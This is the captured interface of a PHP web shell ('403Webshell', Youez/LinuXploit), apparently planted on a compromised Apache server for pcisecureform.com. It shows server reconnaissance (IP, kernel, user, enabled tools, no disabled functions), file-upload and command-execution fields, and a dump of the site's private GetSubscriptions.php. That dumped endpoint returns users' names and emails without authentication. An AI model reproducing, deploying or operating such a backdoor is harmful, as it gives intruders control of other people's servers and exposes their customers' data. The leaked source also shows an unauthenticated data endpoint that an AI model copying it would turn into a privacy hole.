403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/GetSubscriptions.php
<?php
/* * 
 * Can get the default subscription values for a specific site, or the actual subscriptions for a specific user
 */
error_reporting(E_ALL);
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/Logger.php');

$site = (isset($_REQUEST['site']) && $_REQUEST['site'] != '') ? preg_replace('/[^a-zA-Z0-9]/','',$_REQUEST['site']) : '';  
$user_id = (isset($_REQUEST['user_id']) && is_numeric($_REQUEST['user_id'])) ? $_REQUEST['user_id'] : '';  
$username = (isset($_REQUEST['username'])) ? $_REQUEST['username'] : '';  
$response = array(); 

$db = connect_lc2user_new('lc2'.$site.'_lc');

SendDebug(__FILE__);
$subscriptions = $db->get_results("
	SELECT 
		subscription_id as id, type, name, description, default_amount, default_trial, default_terms, default_term_length 
	FROM lc_subscriptions;");
 
if(!empty($subscriptions)) {
	$response['site'] = array(); 
	foreach($subscriptions as $subscription) {
		$response['site']['id_'.$subscription->id] = array(
			'subscrption_id' => $subscription->id,
			'type' => $subscription->type, 
			'name' => $subscription->name, 
			'description' => $subscription->description, 
			'amount' => $subscription->default_amount, 
			'trial' => $subscription->default_trial, 
			'terms' => $subscription->default_terms, 
			'term_length' => $subscription->default_term_length
		); 
		//$response['site']['id_'.$subscription->id] = $subscription; //this does work 
	}
} else {
	$response['error'] = 'There are no listed subscriptions for this site.'; 
}

if($user_id != '' || $username != '') {
	$client_subscriptions = $db->get_results("
		SELECT 
			cs.subscription_id as id, cs.reseller_id, r.first, r.last, r.email, cs.amount, cs.cancel_date, cs.active
		FROM lc_clients_subscriptions cs
			LEFT JOIN lc_subscriptions s ON s.subscription_id = cs.subscription_id
			LEFT JOIN lc_reseller r ON r.id = cs.reseller_id
		WHERE r.id = '".$db->clean($user_id)."' 
			OR r.user = '".$db->clean($username)."'
			OR r.email = '".$db->clean($username)."';");

	if(!empty($client_subscriptions)) {
		$response['user'] = array(); 
		foreach($client_subscriptions as $subscription) {
			$response['user']['id_'.$subscription->id] = array(
				'subscrption_id' => $subscription->id,
				'user_id' => $subscription->reseller_id, 
				'first' => $subscription->first, 
				'last' => $subscription->last, 
				'email' => $subscription->email, 
				'amount' => $subscription->amount, 
				'cancel_date' => $subscription->cancel_date, 
				'active' => $subscription->active
			); 
			//$response['site']['id_'.$subscription->id] = $subscription; //this does work 
		}
	} else {
		$response['message'] = "No subscriptions found for user_id '$user_id'."; 
	}
}

//$response['db'] = $db; 
$return_json = json_encode($response); 
die($return_json); 

Youez - 2016 - github.com/yon3zu
LinuXploit